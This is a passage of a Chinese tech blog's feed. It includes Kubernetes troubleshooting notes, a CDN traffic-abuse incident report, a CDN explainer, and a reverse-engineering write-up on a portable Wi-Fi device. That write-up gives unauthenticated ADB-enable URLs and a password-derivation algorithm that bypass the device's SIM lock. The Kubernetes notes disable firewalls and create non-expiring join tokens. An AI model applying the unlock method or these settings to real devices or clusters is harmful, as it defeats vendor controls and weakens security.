class="line-numbers-rows"><span></span><span></span></span></code></pre><h2 id="2-修改kubelet配置"><a href="#2-修改kubelet配置" class="headerlink" title="2.修改kubelet配置"></a>2.修改kubelet配置</h2><p>新建&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;kubelet.service.d&#x2F;10-kubeadm.conf文件，并添加以下内容。</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">Environment</span><span class="token operator">=</span><span class="token string">"KUBELET_KUBECONFIG_ARGS=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --cgroup-driver=cgroupfs"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="3-重启kubelet"><a href="#3-重启kubelet" class="headerlink" title="3.重启kubelet"></a>3.重启kubelet</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">systemctl daemon-reloadsystemctl restart kubelet<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h1 id="二、Node节点加入集群时卡住-“-preflight-Running-pre-flight-checks”"><a href="#二、Node节点加入集群时卡住-“-preflight-Running-pre-flight-checks”" class="headerlink" title="二、Node节点加入集群时卡住 “[preflight] Running pre-flight checks”"></a>二、Node节点加入集群时卡住 “[preflight] Running pre-flight checks”</h1><p>3个解决方法：</p><h2 id="1-时间异常：同步NTP时间，node和master节点要时间正常"><a href="#1-时间异常：同步NTP时间，node和master节点要时间正常" class="headerlink" title="1.时间异常：同步NTP时间，node和master节点要时间正常"></a>1.时间异常：同步NTP时间，node和master节点要时间正常</h2><p>master和node执行以下</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">yum <span class="token function">install</span> ntpdatentpdate ntp1.aliyun.com<span class="token punctuation">;</span>hwclock <span class="token parameter variable">--systohc</span><span class="token function">date</span><span class="token punctuation">;</span>hwclock<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><h2 id="2-token过期失效：重新获取token和加入命令"><a href="#2-token过期失效：重新获取token和加入命令" class="headerlink" title="2.token过期失效：重新获取token和加入命令"></a>2.token过期失效：重新获取token和加入命令</h2><p>node执行以下</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">kubeadm token create <span class="token parameter variable">--ttl</span> <span class="token number">0</span> --print-join-command<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="3-node未关闭防火墙"><a href="#3-node未关闭防火墙" class="headerlink" title="3.node未关闭防火墙"></a>3.node未关闭防火墙</h2><p>node和master执行以下关闭</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">systemctl disable firewalldsystemctl stop firewalldsystemctl status firewalld<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><h1 id="三、node加入k8s集群报错this-Docker-version-is-not-on-the-list-of-validated-versions-20-10-17-Latest-validated…"><a href="#三、node加入k8s集群报错this-Docker-version-is-not-on-the-list-of-validated-versions-20-10-17-Latest-validated…" class="headerlink" title="三、node加入k8s集群报错this Docker version is not on the list of validated versions: 20.10.17. Latest validated…"></a>三、node加入k8s集群报错this Docker version is not on the list of validated versions: 20.10.17. Latest validated…</h1><h3 id="详细报错：-preflight-Running-pre-flight-checks"><a href="#详细报错：-preflight-Running-pre-flight-checks" class="headerlink" title="详细报错：[preflight] Running pre-flight checks"></a>详细报错：[preflight] Running pre-flight checks</h3><pre><code>[WARNING SystemVerification]: this Docker version is not on the list of validated versions: 20.10.17. Latest validated version: 18.09</code></pre><p>查看源支持安装的版本列表：<code>yum list docker-ce --showduplicates | sort -r</code><br>降级到1806版本（1809会报错）：<code>yum downgrade --setopt=obsoletes=0 -y docker-ce-18.09.9-3.el7 docker-ce-cli-18.09.9-3.el7 containerd.io</code></p><p>重启docker随后查看版本</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">systemctl start <span class="token function">docker</span><span class="token function">docker</span> version<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h1 id="四、kubernetes-dashboard无证书，浏览器无法打开访问"><a href="#四、kubernetes-dashboard无证书，浏览器无法打开访问" class="headerlink" title="四、kubernetes-dashboard无证书，浏览器无法打开访问"></a>四、kubernetes-dashboard无证书，浏览器无法打开访问</h1><p>生成个证书就好了</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#Step 1: 新建目录：</span><span class="token function">mkdir</span> key <span class="token operator">&amp;&amp;</span> <span class="token builtin class-name">cd</span> key<span class="token comment">#Step 2: 生成 SSL 证书</span>openssl genrsa <span class="token parameter variable">-out</span> dashboard.key <span class="token number">2048</span><span class="token comment">#Step 3: 我这里写的自己的 node1 节点，因为我是通过 nodeport 访问的；如果通过 apiserver 访问，可以写成自己的 master 节点 ip</span>openssl req <span class="token parameter variable">-new</span> <span class="token parameter variable">-out</span> dashboard.csr <span class="token parameter variable">-key</span> dashboard.key <span class="token parameter variable">-subj</span> <span class="token string">'/CN=192.168.9.143'</span>openssl x509 <span class="token parameter variable">-req</span> <span class="token parameter variable">-in</span> dashboard.csr <span class="token parameter variable">-signkey</span> dashboard.key <span class="token parameter variable">-out</span> dashboard.crt<span class="token comment">#Step 4: 删除原有的证书 secret</span>kubectl delete secret kubernetes-dashboard-certs <span class="token parameter variable">-n</span> kubernetes-dashboard<span class="token comment">#Step 5: 创建新的证书 secret</span>kubectl create secret generic kubernetes-dashboard-certs --from-file<span class="token operator">=</span>dashboard.key --from-file<span class="token operator">=</span>dashboard.crt <span class="token parameter variable">-n</span> kubernetes-dashboard<span class="token comment">#Step 6: 查看 pod</span>kubectl get pod <span class="token parameter variable">-n</span> kubernetes-dashboard<span class="token comment">#Step 7: 重启 pod</span>kubectl delete pod kubernetes-dashboard-7b5bf5d559-gn4ls  <span class="token parameter variable">-n</span> kubernetes-dashboard<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>获取token：kubectl -n kubernetes-dashboard describe secret $(kubectl -n kubernetes-dashboard get secret | grep dashboard-admin | awk ‘{print $1}’)</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;一、Node加入集群时K8S报错cgroupfs驱动问题&quot;&gt;&lt;a href=&quot;#一、Node加入集群时K8S报错cgroupfs驱动问题&quot; class=&quot;headerlink&quot; title=&quot;一、Node加入集群时K8S报错cgroupfs驱动问题&quot;&gt;&lt;/a&gt;一、</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
    <category term="容器云" scheme="https://blog.inekoxia.com/tags/%E5%AE%B9%E5%99%A8%E4%BA%91/"/>
    
  </entry>
  
  <entry>
    <title>联发科随身wifi固件反编译逆向分析小记</title>
    <link href="https://blog.inekoxia.com/index.php/archives/657.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/657.html</id>
    <published>2024-07-09T20:49:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>前几天在PDD刷到个透明探索版随身wifi充电宝，外观设计不错而且还是好价直接冲了。收货以后才发现这是MTK方案的机子，很冷门没有成熟的破解方法只能用卖家的内置卡充值上网切换不了外置卡槽插自己的卡，于是提取固件尝试从固件里入手<br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/IMG_20240709_225135.webp"></p><h1 id="开始"><a href="#开始" class="headerlink" title="开始"></a>开始</h1><p>拆机发现型号MF901Q，再往下深扒得知这和某一个4GCPE路由器是同一个代工厂生产的，按照CPE的方式尝试开启ADB调试<br>USB调试：<a href="http://192.168.0.1/adbenableForm.do?adb=1">http://192.168.0.1/adbenableForm.do?adb=1</a><br>无线调试：<a href="http://192.168.0.1/adbWifiDebugForm.do?adb=1">http://192.168.0.1/adbWifiDebugForm.do?adb=1</a><br>开启两个调试模式发现USB调试压根开不了，电脑USB连接设备不跳端口，无线调试开启倒是正常<br>连接无线调试查看设备APP列表找不到httpserver主进程，在内置存储目录里找到了这个ROOT.war，猜测可能是固件所在</p><h2 id="拉取固件"><a href="#拉取固件" class="headerlink" title="拉取固件"></a>拉取固件</h2><pre><code>adb pull /storage/emulated/0/lrserver/webapps/ROOT.war ROOT.war</code></pre><p>通过常规zip方式解包，文件结构如下<br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/tree-1.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/tree-2.webp"></p><h1 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h1><p>定位切卡所在页面的前端资源，找不到有关密码的选项<br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/%E5%88%87%E5%8D%A1%E5%89%8D%E7%AB%AF-html.webp"></p><p>在仔细浏览固件内容后发现了lib文件夹里面的类库是httpserver核心所在，找到负责切卡表单处理的<code>com/lr/web/SimSwitchEnableFrom.class</code><br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/%E5%88%87%E5%8D%A1%E8%A1%A8%E5%8D%95%E5%90%8E%E7%AB%AF%E5%AE%9A%E4%BD%8D.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/%E8%A1%A8%E5%8D%95jadx%E5%AE%9A%E4%BD%8D.webp"><br>发现密码指向另一个类：<code>com/lr/util/NetworkConfigUtil.class</code><br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/NetworkConfigUtil.class.webp"></p><p>smali拖入Jadx转Java代码，找到前者调用的方法定位，于是得出以下密码算法<br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/jadx%E5%8F%8D%E7%BC%96%E8%AF%91%E7%AE%97%E6%B3%95.webp"><br>    1.获取设备的 IMEI 号码和两个系统属性值：ro.sim.passwd 和 ro.sim.ccsn。<br>    2.如果 IMEI 不为空且长度大于等于 INDEX_LTE_GSM_WCDMA（已定义的一个常量），则对 IMEI 进行处理，提取后8位并与 ro.sim.ccsn 进行拼接。<br>    3.将拼接后的字符串进行 MD5 加密为16位小写。<br>    4.如果加密后的结果不为空且长度大于等于 INDEX_LTE_GSM_WCDMA，则返回加密结果的后8位；否则返回默认密码 ro.sim.passwd。<br>    5.如果 IMEI 为空或长度不符合要求，则直接返回默认密码 ro.sim.passwd。</p><h1 id="尝试"><a href="#尝试" class="headerlink" title="尝试"></a>尝试</h1><p>我的设备IMEI是890983065396943，截取后八位是65396943<br>CCSN的值不在代码里，而是作为一个系统属性存在，于是直接用ADB Shell读取：</p><pre><code>adb shell getprop ro.sim.ccsn</code></pre><p><img src="https://webstatic.9xia.top/usr/uploads/img/upload/%E8%8E%B7%E5%8F%96CCSN.webp"><br>执行得到CCSN明文：A0018，拼接字符串得出65396943A0018再转16位小写md5：33a7109f3ce9dc5b<br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/md5.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/md5-2.webp"><br>取后八位，切卡密码最终结果：3ce9dc5b<br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/%E5%88%87%E5%8D%A1%E6%88%90%E5%8A%9F.webp"><br>把密码扔进SIM卡切换页面，成功切卡<br>用这个算法写了个密码计算器页面，更方便了<br><img src="https://webstatic.9xia.top/usr/uploads/img/upload/QQ%E6%88%AA%E5%9B%BE20240710125129.webp"><br>完结撒花</p><p>2024.08.02更新：<br>厂家找到了我，在新版产品修复了这个开ADB调试、切卡的漏洞并往卡槽里滴502胶水还更新了密码算法，而我手上也没有了新版的机子测试破解，此帖终结</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;简介&quot;&gt;&lt;a href=&quot;#简介&quot; class=&quot;headerlink&quot; title=&quot;简介&quot;&gt;&lt;/a&gt;简介&lt;/h1&gt;&lt;p&gt;前几天在PDD刷到个透明探索版随身wifi充电宝，外观设计不错而且还是好价直接冲了。收货以后才发现这是MTK方案的机子，很冷门没有成熟的破解</summary>
      
    
    
    
    <category term="编程" scheme="https://blog.inekoxia.com/categories/%E7%BC%96%E7%A8%8B/"/>
    
    
  </entry>
  
  <entry>
    <title>记一次CDN被刷流量的经历</title>
    <link href="https://blog.inekoxia.com/index.php/archives/642.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/642.html</id>
    <published>2024-07-07T00:10:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h2 id="事件记录"><a href="#事件记录" class="headerlink" title="事件记录"></a>事件记录</h2><p>博客接入CDN后设置了封顶策略但设置阈值还是太多了，当天晚上被人恶意刷流量达到封顶阈值断开接入后我收到了服务商的短信<br>随后登录控制台发现流量已经跑了55G，之前在群里经常看到被刷欠费的站长，没想到这回还是轮到我了<br><img src="https://global-s1.cdn.puremc.cc/qq_pic_merged_1720339339940.webp"><br><img src="https://global-s1.cdn.puremc.cc/QQ%E6%88%AA%E5%9B%BE20240707152738.webp"></p><h2 id="溯源"><a href="#溯源" class="headerlink" title="溯源"></a>溯源</h2><p>在停止服务后尝试一次重新接入但依旧被刷，于是断开并不再接入，从日志入手来获取详细的情况<br>调取日志，发现站点底下的某一图片被两个不同的IP连续访问，且User-agant为空值，实锤了。根据IP反查归属地与运营商得知此IP来自山西太原联通的ADSL拨号池，推测攻击来源于家用宽带或是黑机房提供的拨号VPS。<br><img src="https://global-s1.cdn.puremc.cc/QQ%E6%88%AA%E5%9B%BE20240707160344.webp"><br><img src="https://global-s1.cdn.puremc.cc/IP%E6%9F%A5%E8%AF%A2.webp"><br><img src="https://global-s1.cdn.puremc.cc/%E5%AE%9A%E4%BD%8D.webp"></p><h2 id="处置"><a href="#处置" class="headerlink" title="处置"></a>处置</h2><p><img src="https://global-s1.cdn.puremc.cc/%E7%AD%96%E7%95%A5.webp"><br>先是在CDN控制面板把该山西太原的拨号池IP段拉黑，因为这是拨号动态IP，单独拉黑IP不会起一点作用。<br>然后加强CDN层的QPS限制，缩小流量封顶阈值，根据文件类型和权重适当限速，拉黑异常的User-agant请求头，屏蔽所有海外来源IP。<br>但在这还是不能从根源上解决问题，于是我把站内所有图片资源大小压缩一遍再把图片资源迁出服务器，使套了CDN的站点主机与图片资源节点分离。前端资源则引用字节跳动的公共资源库，原图片资源移至海外多节点轮询切换，而国内CDN只负责加速除了图片与CSSJS等的站点资源。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p><img src="https://global-s1.cdn.puremc.cc/%E6%81%A2%E5%A4%8D.webp"><br>截至本文发稿前，本站的加速服务已全部恢复。话说回来，CDN被刷的事早已屡见不鲜，少的扣费几十几百多则上千上万的都有。建议新手站长们在接入CDN时一定要仔细检查面板的访问控制策略，避免造成更大的损失。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;事件记录&quot;&gt;&lt;a href=&quot;#事件记录&quot; class=&quot;headerlink&quot; title=&quot;事件记录&quot;&gt;&lt;/a&gt;事件记录&lt;/h2&gt;&lt;p&gt;博客接入CDN后设置了封顶策略但设置阈值还是太多了，当天晚上被人恶意刷流量达到封顶阈值断开接入后我收到了服务商的短信&lt;br&gt;</summary>
      
    
    
    
    <category term="随笔" scheme="https://blog.inekoxia.com/categories/%E9%9A%8F%E7%AC%94/"/>
    
    
  </entry>
  
  <entry>
    <title>深入浅出，一篇文章带你了解CDN背后的逻辑与工作原理</title>
    <link href="https://blog.inekoxia.com/index.php/archives/622.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/622.html</id>
    <published>2024-05-14T19:06:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言-CDN的诞生"><a href="#前言-CDN的诞生" class="headerlink" title="前言-CDN的诞生"></a>前言-CDN的诞生</h1><p>当谈论互联网速度和性能时，CDN是一个不可或缺的元素。在当今数字化时代，人们对网站和应用程序的访问速度要求越来越高，而CDN作为一种优化网络性能的解决方案，扮演着至关重要的角色。通过将内容分发到全球各地的服务器，CDN可以显著减少用户访问网站或应用程序时的加载时间，提高用户体验，降低网络拥堵，减少延迟，从而实现快速、高效的内容交付。</p><p>CDN的起源可以追溯到20多年前，当时随着骨干网压力的增加和长传需求的增长，骨干网面临着日益加剧的压力和长传效果的恶化。1995年，麻省理工学院的应用数学教授Tom Leighton与研究生Danny Lewin以及其他顶尖研究人员合作，尝试利用数学问题解决网络拥堵难题。通过数学算法处理内容的动态路由安排，他们成功解决了困扰互联网用户的问题。随后，史隆管理学院的MBA学生Jonathan Seelig加入了Leighton团队，开始实施他们的商业计划。最终，于1998年8月20日，他们正式创立了公司，取名为Akamai。在接下来的20年里，CDN行业经历了巨大的变革和持续发展，涌现出许多云CDN厂商。阿里云CDN起源于淘宝CDN，从2008年开始发展，直至2014年正式成为阿里云CDN。它不仅为阿里巴巴集团旗下所有子公司提供服务，还通过云计算的方式输出自身的资源和技术。这种发展模式使得阿里云CDN在行业中扮演着重要角色，为用户提供高效的内容分发服务，并推动了云计算技术在CDN领域的应用和发展。</p><p>本文将深入浅出探讨CDN的概念、原理以及其在现代互联网中的重要性。了解CDN如何工作，以及它如何帮助网站和应用程序提供商加速其内容传输，提高可靠性和安全性。</p><h1 id="一、源站与CDN"><a href="#一、源站与CDN" class="headerlink" title="一、源站与CDN"></a>一、源站与CDN</h1><h2 id="1-源站直连的交互"><a href="#1-源站直连的交互" class="headerlink" title="1.源站直连的交互"></a>1.源站直连的交互</h2><p>在了解CDN前，先了解一下应用CDN之前客户端与源站服务器的交互过程<br>客户端通过DNS拿到源站IP，访问服务器上的资源时一般分为四个步骤：<br>步骤一: 客户端和服务器端建立连接<br>步骤二：客户端发送请求数据到服务器端(HTTP 协议)<br>步骤三：服务器端接收到请求后，进行处理，然后将 处理结果响应客户端(HTTP 协议)<br>步骤四：关闭客户端和服务器端的连接(HTTP1.1 后不会立即关闭)<br><img src="https://webstatic.9xia.top/usr/uploads/2024/05/3055486972.webp" alt="2024-05-15T02:56:02.webp"><br>源站服务器就是部署网站所在的服务器，在用户访问指定资源时提供初始内容并握手交互数据，用户距离服务器的距离越远则转发次数越多，浏览器加载会越耗时。<br><img src="https://webstatic.9xia.top/usr/uploads/2024/05/4225075817.webp" alt="2024-05-15T02:56:31.webp"><br>当多个用户访问源站时就会占用大量的资源处理发送与响应数据，导致源站服务器产生过多负载压力。<br><img src="https://webstatic.9xia.top/usr/uploads/2024/05/1971681875.webp" alt="2024-05-15T02:56:42.webp"><br>如同12306在应用CDN技术前逢年过节抢票高峰期大量用户访问源站，导致有时会出现部分服务器宕机，影响用户的使用体验。如今应用了CDN技术的12306通过多个缓存服务器分担压力，大大提升了用户体验。借助公有云的混合CDN使得资源灵活调配，减少了服务器带宽等资源上的开支，效果立竿见影。<br><img src="https://webstatic.9xia.top/usr/uploads/2024/05/27318533.webp" alt="图源：知乎@九章算法"></p><h2 id="2-什么是CDN？"><a href="#2-什么是CDN？" class="headerlink" title="2.什么是CDN？"></a>2.什么是CDN？</h2><p>那么有没有办法解决这些缺陷呢？有，它就是CDN技术。<br>以下为套了CDN后用户浏览器与源站、CDN缓存节点交互数据的情形<br><img src="https://webstatic.9xia.top/usr/uploads/2024/05/3107921736.webp" alt="2024-05-15T02:57:37.webp"><br>CDN通过将部分资源内容缓存在多个缓存服务器上，挑选离用户最近的缓存服务器进行数据传输，减少了数据传输距离和网络拥堵，从而加快了内容加载速度，提高用户体验。而这些需要缓存的资源一般都是静态资源(html、css、js等)、多媒体(图片、音乐、视频等)资源。除去缓存资源，其他数据交由源站服务器来处理。<br>通过将这些内容复制到多个服务器上，CDN提高了内容的可用性和稳定性。即使某个服务器发生故障，用户仍然可以从其他服务器上获取内容。<br>不仅如此，CDN可以减少原始服务器的负载，降低服务器带宽使用成本。由于内容被缓存在CDN服务器上，减少了对源站服务器的直接请求，节省了带宽费用、减轻了部分骨干网的压力。</p><h1 id="二、CDN的技术实现"><a href="#二、CDN的技术实现" class="headerlink" title="二、CDN的技术实现"></a>二、CDN的技术实现</h1><h2 id="1-调度策略与方式"><a href="#1-调度策略与方式" class="headerlink" title="1.调度策略与方式"></a>1.调度策略与方式</h2><h3 id="1-1调度策略"><a href="#1-1调度策略" class="headerlink" title="1.1调度策略"></a>1.1调度策略</h3><p>在用户请求到达时，CDN如何选择最合适的服务器来响应请求。这些策略将会优化内容交付的速度、性能和效率</p><p>1.1.1 最近节点调度<br>这种策略会将用户请求路由到距离用户最近的CDN节点。通过测量用户的地理位置和网络延迟，CDN可以选择最近的服务器来响应请求，从而减少数据传输时间和延迟，提高用户体验。<br><img src="https://webstatic.9xia.top/usr/uploads/2024/05/3486367867.webp" alt="2024-05-15T03:00:04.webp"></p><p>1.1.2 负载均衡调度<br>负载均衡调度策略旨在平衡CDN服务器之间的负载，避免单一服务器过载。通过监控服务器的负载情况，CDN可以将请求分发到负载较低的服务器上，确保整体性能和可靠性。<br><img src="https://webstatic.9xia.top/usr/uploads/2024/05/3147737846.webp" alt="2024-05-15T03:00:16.webp"></p><p>1.1.3. 源站响应时间调度<br>该策略基于各个CDN节点与原始服务器的响应时间来进行调度。CDN会选择响应时间最短的服务器来处理请求，以减少数据传输时间和提高内容交付速度。</p><p>1.1.4 带宽利用率调度<br>这种策略会根据各个CDN节点的带宽利用率来进行调度。CDN会将请求路由到带宽利用率较低的服务器上，以避免网络拥堵和提高整体带宽利用效率。</p><p>1.1.5 动态调度策略<br>动态调度策略根据实时的网络状况和服务器负载情况来进行调度决策。CDN可以根据不同情况动态调整调度策略，以确保最佳的内容交付性能。</p><p>1.1.6 内容类型调度策略<br>针对不同类型的内容（如图片、视频、文本等），CDN可以采用不同的调度策略。例如，对于大型视频文件，CDN可能会选择带宽较大的节点来提供更快的传输速度。</p><p>通过合理选择和组合这些调度策略，CDN可以实现更高效的内容交付，提高用户体验，降低延迟，减少带宽成本，并确保网络的稳定性和可靠性。</p><h3 id="1-2调度方式"><a href="#1-2调度方式" class="headerlink" title="1.2调度方式"></a>1.2调度方式</h3><p>CDN使用多种方式来进行调度，以确保最佳的内容交付性能和用户体验。以下是一些常见的方式：</p><p>1.2.1 DNS负载均衡<br>DNS负载均衡是一种常见的CDN调度方式，通过DNS解析将用户请求路由到最合适的CDN节点。CDN提供商会在DNS解析阶段根据用户的地理位置、网络条件和其他因素，将用户请求定向到最佳的服务器上。每请求一次可能都会让服务器查找合适的IP，属于是压力给到了DNS上，我觉得这种方式还是比较考验DNS集群的性能。</p><p>1.2.2 HTTP请求重定向（302）<br>CDN可以通过HTTP请求重定向也就是302来实现调度主要基于客户端 IP 和 302 调度集群。当用户请求到达时，CDN节点可以根据用户的地理位置和其他因素，向用户返回重定向响应，指示用户访问最适合的服务器。</p><p>1.2.3 负载均衡算法<br>CDN使用各种负载均衡算法来决定将用户请求路由到哪个服务器。常见的负载均衡算法包括轮询、加权轮询、最小连接数、最小响应时间等，以确保服务器负载均衡和性能优化。</p><p>1.2.4 Anycast<br>Anycast是一种网络寻址和路由技术，允许多个服务器拥有相同的IP地址。当用户请求到达时，网络会将请求路由到距离最近的服务器，从而提高内容交付速度和性能。像我们熟知的AWS CloudFront、CloudFlare等运营商都在使用这样的路由层面调度。</p><p>1.2.5 实时监控与动态调整<br>CDN通过实时监控服务器负载、网络状况和用户请求情况，动态调整调度策略。这种实时调整可以确保始终选择最佳的服务器来响应用户请求，提高内容交付效率。</p><p>1.2.6 内容感知调度<br>CDN可以根据不同类型的内容（如静态内容、动态内容、视频等）采用不同的调度策略。例如，对于大型视频文件，CDN可能会选择带宽较大的节点来提供更快的传输速度。</p><p>综合利用这些调度方式，CDN可以实现高效的内容交付，提高用户体验，降低延迟，减少带宽成本，并确保网络的稳定性和可靠性。</p><h2 id="2-缓存与缓存调度技术"><a href="#2-缓存与缓存调度技术" class="headerlink" title="2.缓存与缓存调度技术"></a>2.缓存与缓存调度技术</h2><h3 id="2-1缓存技术"><a href="#2-1缓存技术" class="headerlink" title="2.1缓存技术"></a>2.1缓存技术</h3><p>2.1.1边缘缓存<br>边缘缓存是CDN最常用的缓存方式之一。CDN在全球各地部署服务器节点，这些节点被称为边缘服务器。当用户请求内容时，CDN会将内容缓存到最接近用户的边缘服务器上，以减少数据传输距离和提高内容交付速度。</p><p>2.1.2内容预抓取<br>CDN可以通过内容预取的方式提前将一些内容缓存到边缘服务器上。这样，当用户请求这些内容时，CDN可以直接从缓存中响应，而不必再向原始服务器请求，从而加快内容交付速度。</p><p>2.2缓存的调度技术<br>CDN通过缓存控制策略来管理缓存内容的过期时间、缓存规则等。通过合理设置缓存控制策略可以提高缓存命中率，减少对源站服务器的请求。</p><p>除了静态内容，也可以缓存动态内容，如动态网页、API响应等。CDN可以根据内容的更新频率和用户请求情况，动态地缓存和更新这些内容。<br>在优化方面则主要是对内容进行压缩，减小文件大小，从而减少传输时间和带宽消耗。压缩后的内容被缓存到边缘服务器上，用户请求时可以更快地传输和加载。</p><p>通过上述的这些缓存方式，更是确保内容的稳定性和可靠性。</p><h1 id="三、CDN的多种形式"><a href="#三、CDN的多种形式" class="headerlink" title="三、CDN的多种形式"></a>三、CDN的多种形式</h1><h2 id="1-传统CDN"><a href="#1-传统CDN" class="headerlink" title="1.传统CDN"></a>1.传统CDN</h2><p>传统的CDN基本包含上述的所有特性，区别在于公有云CDN和私有云CDN。像腾讯云、阿里云、CloudFlare这种都属于公有云CDN。一般来说部署在组织自己的服务器和网络中，用于加速内部应用程序或网站的内容交付的，就是私有云CDN。</p><h2 id="2-SCDN"><a href="#2-SCDN" class="headerlink" title="2.SCDN"></a>2.SCDN</h2><p>SCDN与一般的CDN架构都差不多，关键点在于CDN的节点上都部署有防火墙，兼顾加速的同时提供安全防护。网站服务器的痛点主要就来自于流量攻击和入侵攻击，SCDN的出现带来了一个很好的解决方案。比如需要抵挡恶意流量（DDOS、CC等）使用硬件防火墙过滤或者清洗恶意流量，提高源站与缓存节点的安全性。</p><p>除了在缓存节点部署硬防外，往往还会部署Web防火墙集群，有效防护SQL注入、提交木马等等的网站层面的攻击。常见的像知道创宇云防、奇安信安域之类的都属于SCDN的范畴。</p><h2 id="3-PCDN"><a href="#3-PCDN" class="headerlink" title="3.PCDN"></a>3.PCDN</h2><p>主要利用P2P对等网络技术，让用户共享带宽和资源来加速内容交付。在PCDN中，用户的设备（如电脑手机，在往下甚至是一台机顶盒一台路由器等等）都可以缓存服务器用来相互共享数据，比如说A用户可以从B、C等用户设备获取数据片段然后拼接成完整的文件，不用像传统CDN技术那样完全依赖中心服务器。比如啊我看一集电视剧一部电影，我的浏览器或是播放器首先拿到CDN调度服务器给的m3u8表，然后用这个m3u8表把不同片段的ts文件下载地址给下载了再拼接转码就得到mp4文件，处理完后的视频文件通过播放器让我观看。这样不仅减轻了CDN缓存服务器的负担，也提高内容传输效率，更是减少了云厂商的成本投入。</p><h2 id="4-融合CDN"><a href="#4-融合CDN" class="headerlink" title="4.融合CDN"></a>4.融合CDN</h2><p>融合CDN主要混合公有云或是私有云CDN厂商的优质节点，通过智能调度策略为用户选择最合适的CDN缓存节点。比如融合CDN国内用户访问的时候就会优先通过国内的像阿里云腾讯云这样的而且是距离最近的CDN缓存节点来加速。国外用户访问融合CDN就会自动切换成CloudFlare、AWS这样的公有云厂商离海外用户最近的缓存节点，可以说是打破了单个CDN厂商的节点资源以及调度能力有限的困境，突破了地域时间以及不同运营商的限制。像京东云与Cloudflare合作的融合CDN，不论是给国内还是海外用户都提供了很好的加速体验。</p><h2 id="5-全站加速DCDN-ECDN"><a href="#5-全站加速DCDN-ECDN" class="headerlink" title="5.全站加速DCDN &#x2F; ECDN"></a>5.全站加速DCDN &#x2F; ECDN</h2><p>全站加速服务可能在不同云厂商都有不同的叫法，它是一项基于CDN加速技术的云技术升级，智能地区分静态和动态内容以提升浏览体验。静态内容直接利用CDN进行加速；而对动态内容，则通过高效的回源拉取，包括路由决策优化和协议优化等方法。全站加速不仅提供基本的CDN静态资源加速功能，还进一步提供动态加速、TCP和UDP四层加速、以及Websocket七层加速等功能。这使得安全性和边缘计算等能力能够快速整合到全球节点的全站加速中，可靠性要比传统CDN更高。其运作原理如下图所示：<br><img src="https://webstatic.9xia.top/usr/uploads/2024/05/323465363.webp" alt="图源：腾讯云社区"></p><h1 id="四、CDN的场景应用"><a href="#四、CDN的场景应用" class="headerlink" title="四、CDN的场景应用"></a>四、CDN的场景应用</h1><h2 id="1-流媒体传输"><a href="#1-流媒体传输" class="headerlink" title="1.流媒体传输"></a>1.流媒体传输</h2><p>常用的比较主流的视频平台一般都用上了CDN视频直播和视频点播服务，通过将视频内容缓存在分布式的边缘节点上，使用户可以从距离更近的服务器获取视频数据，加速视频的加载速度，减少缓冲时间，提高观看体验。大型直播的环境下CDN也可以支持高并发的视频流传输，确保观众可以流畅观看直播内容。</p><h2 id="2-云存储加速"><a href="#2-云存储加速" class="headerlink" title="2.云存储加速"></a>2.云存储加速</h2><p>像现在的网盘很多都是分布式的下载节点了，要不然源站服务器得吃不少性能，这个除了用在网盘上也可用于企业分发软件更新和补丁，加快软件下载速度，减少服务器负载，提高软件发布的效率。</p><h2 id="3-安全加固"><a href="#3-安全加固" class="headerlink" title="3.安全加固"></a>3.安全加固</h2><p>CDN通常提供DDoS防护服务，可以帮助抵御大规模的分布式拒绝服务攻击，也可以检测和阻止恶意流量，保护网站和应用不受攻击。<br>内容安全方面上CDN也可以提供内容过滤功能，以防止恶意内容的传播，保护内容的完整性和安全性。</p><h1 id="结语"><a href="#结语" class="headerlink" 